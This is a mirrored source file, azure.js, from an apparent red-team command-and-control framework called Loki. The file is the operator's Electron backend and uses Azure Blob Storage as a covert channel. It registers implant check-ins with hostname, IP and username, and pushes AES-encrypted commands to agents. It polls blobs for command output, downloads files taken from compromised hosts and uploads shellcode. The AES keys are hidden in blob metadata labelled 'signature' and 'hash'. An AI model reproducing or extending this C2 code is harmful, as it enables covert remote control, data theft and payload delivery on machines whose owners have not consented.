mirror of
https://github.com/boku7/Loki
synced 2026-06-06 15:24:27 +00:00
613 lines
21 KiB
JavaScript
613 lines
21 KiB
JavaScript
const { ipcMain} = require('electron');
|
|
const path = require('path');
|
|
const crypto = require('crypto');
|
|
const fs = require('fs');
|
|
const fsp = require('fs').promises;
|
|
const { log } = require('console');
|
|
const { getAppDataDir } = require('./common');
|
|
const directories = getAppDataDir();
|
|
|
|
class Agent {
|
|
constructor() {
|
|
this.agentid = '';
|
|
this.arch = '';
|
|
this.container = '';
|
|
this.hostname = '';
|
|
this.IP = [];
|
|
this.osRelease = '';
|
|
this.osType = '';
|
|
this.PID = null;
|
|
this.platform = '';
|
|
this.Process = '';
|
|
this.username = '';
|
|
this.checkin = Date.now();
|
|
this.tasks = [];
|
|
this.aes = {
|
|
'key': null,
|
|
'iv': null
|
|
};
|
|
this.blobs = {
|
|
'checkin': null,
|
|
'in': null
|
|
};
|
|
}
|
|
}
|
|
|
|
function decodeBase64(base64) {
|
|
const buffer = Buffer.from(base64, 'base64');
|
|
return buffer.toString('utf-8');
|
|
}
|
|
function encodeBase64(input) {
|
|
const buffer = Buffer.from(input, 'utf-8');
|
|
return buffer.toString('base64');
|
|
}
|
|
async function aesEncrypt(data, key, iv) {
|
|
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
|
|
|
let encrypted = "";
|
|
if (Buffer.isBuffer(data)) {
|
|
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
|
}
|
|
else {
|
|
encrypted = cipher.update(data, 'utf8', 'hex');
|
|
encrypted += cipher.final('hex');
|
|
}
|
|
return encrypted;
|
|
}
|
|
async function aesDecrypt(encryptedData, key, iv) {
|
|
// const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
|
// let decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
|
// decrypted += decipher.final('utf8');
|
|
// return decrypted;
|
|
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
|
|
|
let decrypted = "";
|
|
if ( Buffer.isBuffer( encryptedData ) ) {
|
|
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
|
|
}
|
|
else {
|
|
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
|
decrypted += decipher.final('utf8');
|
|
}
|
|
return decrypted;
|
|
}
|
|
async function DeleteStorageContainer(StorageContainer)
|
|
{
|
|
let options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${StorageContainer}?restype=container&${global.config.sasToken}`,
|
|
method: 'DELETE',
|
|
headers: {
|
|
'x-ms-version': '2020-04-08',
|
|
'x-ms-date': new Date().toUTCString()
|
|
}
|
|
};
|
|
return await makeRequest(options);
|
|
}
|
|
async function DeleteStorageBlob(StorageContainer,StorageBlob)
|
|
{
|
|
let options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`,
|
|
method: 'DELETE',
|
|
headers: {
|
|
'x-ms-version': '2020-04-08'
|
|
}
|
|
};
|
|
return await makeRequest(options);
|
|
}
|
|
async function preloadContainers()
|
|
{
|
|
let meta_agent_container_info = [];
|
|
log(`azure.js | preloadContainers() | global.config: ${JSON.stringify(global.config)}`);
|
|
try {
|
|
let i = 1;
|
|
let options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${global.config.metaContainer}?restype=container&comp=list&${global.config.sasToken}`,
|
|
method: 'GET',
|
|
headers: {
|
|
'x-ms-version': '2020-04-08'
|
|
}
|
|
};
|
|
let response = await makeRequest(options);
|
|
if (response.status === 404){
|
|
log(`azure.js | preloadContainers() | ${response.status} | [!] Container ${global.config.metaContainer} not found. Sleeping for 5 seconds and trying again.`);
|
|
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
return null;
|
|
}
|
|
let blobs = response.data.match(/<Name>([^<]+)<\/Name>/g).map(b => b.replace(/<\/?Name>/g, ''));
|
|
for (const blob of blobs) {
|
|
try
|
|
{
|
|
let agent_container = await readBlob(global.config.metaContainer,blob);
|
|
if(agent_container.status === 200)
|
|
{
|
|
let this_agent_info = {
|
|
'agentid':blob,
|
|
'containerid':agent_container['data']
|
|
}
|
|
meta_agent_container_info.push(this_agent_info);
|
|
}
|
|
}catch(error)
|
|
{
|
|
console.log(`Failed to get agent container ${error.stack}`);
|
|
}
|
|
}
|
|
return JSON.stringify(meta_agent_container_info);
|
|
} catch (error) {
|
|
log(`azure.js | preloadContainers() | Error listing blobs in container ${global.config.metaContainer}:`, error.message, error.stack);
|
|
return null;
|
|
}
|
|
}
|
|
|
|
async function updateDashboardTable()
|
|
{
|
|
let agentcheckins = [];
|
|
try {
|
|
let thisAgent = null;
|
|
let agentObj = null;
|
|
let MetaBlobs = await list_blobs(global.config.metaContainer);
|
|
for (const agentMetaBlob of MetaBlobs)
|
|
{
|
|
try
|
|
{
|
|
if(global.agents.find(agent => agent.agentid === agentMetaBlob)){
|
|
thisAgent = global.agents.find(agent => agent.agentid === agentMetaBlob);
|
|
}
|
|
else{
|
|
thisAgent = new Agent();
|
|
thisAgent.agentid = agentMetaBlob;
|
|
const [aesKeys, links] = await getContainerAesKeys(thisAgent.agentid);
|
|
thisAgent.aes = aesKeys;
|
|
thisAgent.links = links;
|
|
if(thisAgent.aes == null){ continue; }
|
|
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob);
|
|
if(metaAgentResponse.status != 200 || metaAgentResponse.response.data == null){ continue; }
|
|
thisAgent.container = metaAgentResponse.data;
|
|
thisAgent.blobs = await getContainerBlobs(thisAgent.container);
|
|
if(thisAgent.blobs == null ){ continue; }
|
|
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
|
|
if(checkinData == null){ continue; }
|
|
try {
|
|
if (typeof checkinData === 'string') { agentObj = JSON.parse(checkinData); } else { continue; }
|
|
} catch (error) { continue; }
|
|
log(`agentObj : ${JSON.stringify(agentObj)}`);
|
|
thisAgent.hostname = agentObj.hostname;
|
|
thisAgent.IP = agentObj.IP;
|
|
thisAgent.osRelease = agentObj.osRelease;
|
|
thisAgent.osType = agentObj.osType;
|
|
thisAgent.PID = agentObj.PID;
|
|
thisAgent.platform = agentObj.platform;
|
|
thisAgent.Process = agentObj.Process;
|
|
thisAgent.username = agentObj.username;
|
|
thisAgent.arch = agentObj.arch;
|
|
thisAgent.mode = agentObj.mode;
|
|
if (global.haltUpdate == false) { global.agents.push(thisAgent); }
|
|
}
|
|
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentMetaBlob);
|
|
const timestamp = new Date(checkinBlobLastModified).getTime();
|
|
if(!timestamp){
|
|
return 0;
|
|
}
|
|
thisAgent.checkin = timestamp;
|
|
agentcheckins.push(thisAgent);
|
|
}catch(error)
|
|
{
|
|
log(`Failed to get checkin from listed agent container ${error.stack}`);
|
|
return 0;
|
|
}
|
|
}
|
|
return JSON.stringify(agentcheckins);
|
|
} catch (error) {
|
|
console.error(`Error listing blobs in container: \r\n\t${error.message} \r\n\t${error.stack}\n ${JSON.stringify(agentcheckins)}`);
|
|
return 0;
|
|
}
|
|
}
|
|
async function list_blobs(containerName)
|
|
{
|
|
try{
|
|
let options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${containerName}?restype=container&comp=list&${global.config.sasToken}`,
|
|
method: 'GET',
|
|
headers: {
|
|
'x-ms-version': '2020-04-08'
|
|
}
|
|
};
|
|
let response = await makeRequest(options);
|
|
let blobs = response.data.match(/<Name>([^<]+)<\/Name>/g).map(b => b.replace(/<\/?Name>/g, ''));
|
|
return blobs;
|
|
} catch (error) {
|
|
//console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}`);
|
|
return [];
|
|
}
|
|
}
|
|
async function getBlobLastModified(containerName,blob)
|
|
{
|
|
let options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${containerName}/${blob}?${global.config.sasToken}`,
|
|
method: 'HEAD',
|
|
headers: {
|
|
'x-ms-version': '2020-04-08'
|
|
}
|
|
};
|
|
let response = await makeRequest(options);
|
|
const lastModified = response.response.headers["last-modified"];
|
|
return lastModified;
|
|
}
|
|
async function returnAgentCheckinInfo(agentid)
|
|
{
|
|
try{
|
|
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentid);
|
|
return new Date(checkinBlobLastModified).getTime();
|
|
} catch (error) {
|
|
console.error(`returnAgentCheckinInfo() | Error :`, error.message, error.stack);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
async function makeRequest(options, data = null) {
|
|
// Wait for renderer to be ready
|
|
if (!global.dashboardWindow.webContents.isLoading()) {
|
|
} else {
|
|
await new Promise(resolve => {
|
|
global.dashboardWindow.webContents.once('did-finish-load', resolve);
|
|
});
|
|
}
|
|
|
|
return new Promise((resolve, reject) => {
|
|
const url = `https://${options.hostname}:${options.port}${options.path}`;
|
|
const requestId = Date.now().toString();
|
|
// Set up response handler before sending request
|
|
const responseHandler = (event, response) => {
|
|
if (response.error) {
|
|
log(`[WEB-REQUEST] Error: ${response.error}`);
|
|
reject(new Error(response.error));
|
|
return;
|
|
}
|
|
resolve({
|
|
response: response,
|
|
status: response.status,
|
|
data: response.data
|
|
});
|
|
};
|
|
// Listen for the response with timeout
|
|
ipcMain.once(`web-request-response-${requestId}`, responseHandler);
|
|
if (data) {
|
|
if (!options.headers) {
|
|
options.headers = {};
|
|
}
|
|
options.headers['Content-Length'] = Buffer.byteLength(data);
|
|
}
|
|
// Send request to renderer
|
|
try {
|
|
global.dashboardWindow.webContents.send('make-web-request', {
|
|
url,
|
|
method: options.method,
|
|
headers: options.headers,
|
|
body: data,
|
|
requestId
|
|
});
|
|
} catch (err) {
|
|
ipcMain.removeListener(`web-request-response-${requestId}`, responseHandler);
|
|
reject(err);
|
|
}
|
|
let timeout = 300000;
|
|
setTimeout(() => {
|
|
ipcMain.removeListener(`web-request-response-${requestId}`, responseHandler);
|
|
reject(new Error(`Web request timed out after ${timeout}ms`));
|
|
}, timeout);
|
|
});
|
|
}
|
|
async function UploadBlobToContainer(StorageContainer,StorageBlob,data)
|
|
{
|
|
|
|
if ( data == null)
|
|
{
|
|
data = "";
|
|
}
|
|
const options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`,
|
|
method: 'PUT',
|
|
headers: {
|
|
'x-ms-version': '2020-02-10',
|
|
'x-ms-date': new Date().toUTCString(),
|
|
'x-ms-blob-type': 'BlockBlob',
|
|
'Content-Type': 'text/plain',
|
|
'Content-Length': Buffer.byteLength(data)
|
|
}
|
|
};
|
|
return makeRequest(options,data);
|
|
}
|
|
async function readBlob(StorageContainer, StorageBlob) {
|
|
try {
|
|
const options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`,
|
|
method: 'GET',
|
|
headers: {
|
|
'x-ms-version': '2020-02-10',
|
|
'x-ms-date': new Date().toUTCString()
|
|
}
|
|
};
|
|
const response = await makeRequest(options);
|
|
if (!response || response.length === 0 || response.status === 404) {
|
|
throw new Error(`Blob read failed: Empty response from ${StorageBlob}`);
|
|
}
|
|
return response;
|
|
} catch (error) {
|
|
console.error(`Error reading blob ${StorageBlob}:`, error.message);
|
|
return null;
|
|
}
|
|
}
|
|
async function getContainerBlobs(containerName)
|
|
{
|
|
let inputBlob = "";
|
|
let checkinBlob = "";
|
|
try {
|
|
|
|
let agent_blobs = await list_blobs(containerName);
|
|
if(agent_blobs == null){
|
|
return false;
|
|
}
|
|
for (const blob of agent_blobs)
|
|
{
|
|
if (blob.startsWith('i-')) {
|
|
inputBlob = blob;
|
|
}
|
|
if (blob.startsWith('c-')) {
|
|
checkinBlob = blob;
|
|
}
|
|
}
|
|
const blobs = {
|
|
'checkin' : checkinBlob,
|
|
'in' : inputBlob,
|
|
};
|
|
return blobs;
|
|
} catch (error) {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
async function getContainerAesKeys(agentid)
|
|
{
|
|
try {
|
|
const options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${global.config.metaContainer}/${agentid}?comp=metadata&${global.config.sasToken}`,
|
|
method: 'GET',
|
|
headers: {
|
|
'x-ms-version': '2022-11-02',
|
|
'x-ms-date': new Date().toUTCString()
|
|
}
|
|
};
|
|
const response = await makeRequest(options);
|
|
if(response.response.headers["x-ms-meta-signature"] == null || response.response.headers["x-ms-meta-hash"] == null){
|
|
return null;
|
|
}
|
|
let aes_key = decodeBase64(response.response.headers["x-ms-meta-signature"]);
|
|
let aes_iv = decodeBase64(response.response.headers["x-ms-meta-hash"]);
|
|
let key = {
|
|
'key':JSON.parse(aes_key),
|
|
'iv': JSON.parse(aes_iv)
|
|
}
|
|
const links = response.response.headers["x-ms-meta-link"];
|
|
return [key,links];
|
|
} catch (error) {
|
|
console.error(`[AESKEYS][!] Error getting aes keys for agent ${agentid}:`, error.message, error.stack);
|
|
return null;
|
|
}
|
|
}
|
|
|
|
async function checkinContainer(containerName, aes, blobs)
|
|
{
|
|
try {
|
|
//log(`checkinContainer() | containerName : ${containerName}`);
|
|
//log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
|
|
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
|
|
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
|
|
let checkin = await readBlob(containerName, blobs['checkin']);
|
|
let enc_checkin = decodeBase64(checkin.data);
|
|
const dec_checkin = await aesDecrypt(enc_checkin,aes_key_bytes,aes_iv_bytes);
|
|
if (!dec_checkin) {
|
|
console.error('No checkin blob content found.');
|
|
return;
|
|
}else
|
|
{
|
|
return dec_checkin;
|
|
}
|
|
} catch (error) {
|
|
//console.error(`Error connecting to container ${containerName}:`, error.message);
|
|
return null;
|
|
}
|
|
}
|
|
|
|
async function clearBlob(StorageContainer, StorageBlob)
|
|
{
|
|
const options = {
|
|
hostname: global.config.storageAccount,
|
|
port: 443,
|
|
path: `/${StorageContainer}/${StorageBlob}?${global.config.sasToken}`,
|
|
method: 'PUT',
|
|
headers: {
|
|
'x-ms-version': '2020-02-10',
|
|
'x-ms-date': new Date().toUTCString(),
|
|
'x-ms-blob-type': 'BlockBlob',
|
|
'Content-Type': 'text/plain',
|
|
'Content-Length': 0
|
|
}
|
|
};
|
|
return makeRequest(options);
|
|
}
|
|
|
|
async function uploadCommand(agent_object)
|
|
{
|
|
const task = agent_object.tasks[agent_object.tasks.length - 1];
|
|
const key = Buffer.from(agent_object.aes['key']);
|
|
const iv = Buffer.from(agent_object.aes['iv']);
|
|
|
|
// Read the blob first to check if it's empty
|
|
let blobCheck = await readBlob(agent_object.container, agent_object.blobs['in']);
|
|
if (blobCheck.status === 200) {
|
|
if (!blobCheck.data || blobCheck.data.length === 0) {
|
|
// Blob exists but is empty, proceed with upload
|
|
const encryptedData = await aesEncrypt(JSON.stringify(task), key, iv);
|
|
const b64EncData = encodeBase64(encryptedData);
|
|
let response = await UploadBlobToContainer(agent_object.container, agent_object.blobs['in'], b64EncData);
|
|
|
|
if (response.status != 201) {
|
|
log(`azure.js | uploadCommand() | ${response.status} | [!] Failed to upload command to container ${agent_object.container}`);
|
|
return null;
|
|
}
|
|
|
|
let decrypted_out_data;
|
|
const startTime = Date.now();
|
|
let currentTime;
|
|
let elapsed;
|
|
|
|
while(true) {
|
|
let command_output = await readBlob(agent_object.container, task.outputChannel);
|
|
if (command_output === null) {
|
|
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
continue;
|
|
}
|
|
if (command_output['data']) {
|
|
let encrypted_out_data = decodeBase64(command_output['data']);
|
|
decrypted_out_data = await aesDecrypt(encrypted_out_data, key, iv);
|
|
await clearBlob(agent_object.container, task.outputChannel);
|
|
await DeleteStorageBlob(agent_object.container, task.outputChannel);
|
|
break;
|
|
}
|
|
currentTime = Date.now();
|
|
elapsed = (currentTime - startTime)/1000;
|
|
let waittime = 1200;
|
|
if (elapsed > waittime) {
|
|
decrypted_out_data = `[!] No response for ${task.taskId} after ${waittime} seconds to output channel ${task.outputChannel}\r\n${task.command}`;
|
|
break;
|
|
}
|
|
}
|
|
return decrypted_out_data;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
async function pullDownloadFile(agent_object,filename,blob)
|
|
{
|
|
try{
|
|
log(`azure.js | pullDownloadFile()`);
|
|
const key = Buffer.from(agent_object.aes['key']);
|
|
const iv = Buffer.from(agent_object.aes['iv']);
|
|
let baseFileName = path.basename(filename);
|
|
log(`pullDownloadFile() | filename : ${filename}`);
|
|
log(`pullDownloadFile() | blob : ${blob}`);
|
|
let raw;
|
|
if (!fs.existsSync(directories.downloadsDir)) {
|
|
fs.mkdirSync(directories.downloadsDir, { recursive: true });
|
|
}
|
|
const destPath = path.join(directories.downloadsDir, baseFileName);
|
|
const url = `https://${global.config.storageAccount}/${agent_object.container}/${blob}?${global.config.sasToken}`;
|
|
log(`pullDownloadFile() | URL : ${url}`);
|
|
let buffer;
|
|
let index = 1;
|
|
while(true)
|
|
{
|
|
let response = await fetch(url);
|
|
|
|
if (!response.ok) {
|
|
log(`pullDownloadFile loop : ${index} | Failed to download file. Sleeping for 3 seconds and trying again. Status: ${response.status} ${response.statusText}`);
|
|
await new Promise(resolve => setTimeout(resolve, 3000));
|
|
}else
|
|
{
|
|
let arrayBuffer = await response.arrayBuffer();
|
|
buffer = Buffer.from(arrayBuffer);
|
|
break;
|
|
}
|
|
index +=1;
|
|
}
|
|
raw = await aesDecrypt( buffer, key, iv );
|
|
await fsp.writeFile(destPath, raw, (err) => {
|
|
log(`Error writing file: ${err.stack}`);
|
|
});
|
|
log(`File ${destPath} has been saved.`);
|
|
}catch(error)
|
|
{
|
|
log(`pullDownloadFile() Error: ${error} ${error.stack}`);
|
|
}
|
|
}
|
|
|
|
async function uploadSCToAzure(agent_object, StorageBlob, filePath)
|
|
{
|
|
try {
|
|
log(`[AZURE][UPLOAD] uploadSCToAzure() | agent_object : ${JSON.stringify(agent_object)}`);
|
|
log(`[AZURE][UPLOAD] uploadSCToAzure() | StorageBlob : ${StorageBlob}`);
|
|
log(`[AZURE][UPLOAD] uploadSCToAzure() | filePath : ${filePath}`);
|
|
const key = Buffer.from(agent_object.aes['key']);
|
|
const iv = Buffer.from(agent_object.aes['iv']);
|
|
|
|
const fileContent = await fsp.readFile(filePath);
|
|
const enc = await aesEncrypt( fileContent, key, iv );
|
|
const sasUrl = `https://${global.config.storageAccount}/${agent_object.container}/${StorageBlob}?${global.config.sasToken}`;
|
|
const response = await fetch(sasUrl, {
|
|
port: 443,
|
|
method: 'PUT',
|
|
headers: {
|
|
'x-ms-blob-type': 'BlockBlob',
|
|
'Content-Type': 'application/octet-stream'
|
|
},
|
|
body: enc
|
|
});
|
|
log(`[AZURE][UPLOAD] response ${response.ok}`);
|
|
} catch (error) {
|
|
log(`[AZURE][UPLOAD] Error uploading file to azure : ${error.stack}`);
|
|
}
|
|
}
|
|
|
|
async function uploadFileToAzure(agent_object, StorageBlob, filePath)
|
|
{
|
|
try {
|
|
const key = Buffer.from(agent_object.aes['key']);
|
|
const iv = Buffer.from(agent_object.aes['iv']);
|
|
const fileContent = await fsp.readFile(filePath);
|
|
const enc = await aesEncrypt( fileContent, key, iv );
|
|
const sasUrl = `https://${global.config.storageAccount}/${agent_object.container}/${StorageBlob}?${global.config.sasToken}`;
|
|
const response = await fetch(sasUrl, {
|
|
port: 443,
|
|
method: 'PUT',
|
|
headers: {
|
|
'x-ms-blob-type': 'BlockBlob',
|
|
'Content-Type': 'application/octet-stream'
|
|
},
|
|
body: enc
|
|
});
|
|
} catch (error) {
|
|
log(`azure.js | uploadFileToAzure()\r\nError uploading file to azure : ${error.stack}`);
|
|
}
|
|
}
|
|
module.exports = {
|
|
getContainerBlobs,
|
|
preloadContainers,
|
|
UploadBlobToContainer,
|
|
readBlob,
|
|
updateDashboardTable,
|
|
checkinContainer,
|
|
getContainerAesKeys,
|
|
uploadCommand,
|
|
returnAgentCheckinInfo,
|
|
uploadFileToAzure,
|
|
uploadSCToAzure,
|
|
pullDownloadFile,
|
|
DeleteStorageContainer,
|
|
DeleteStorageBlob
|
|
}; |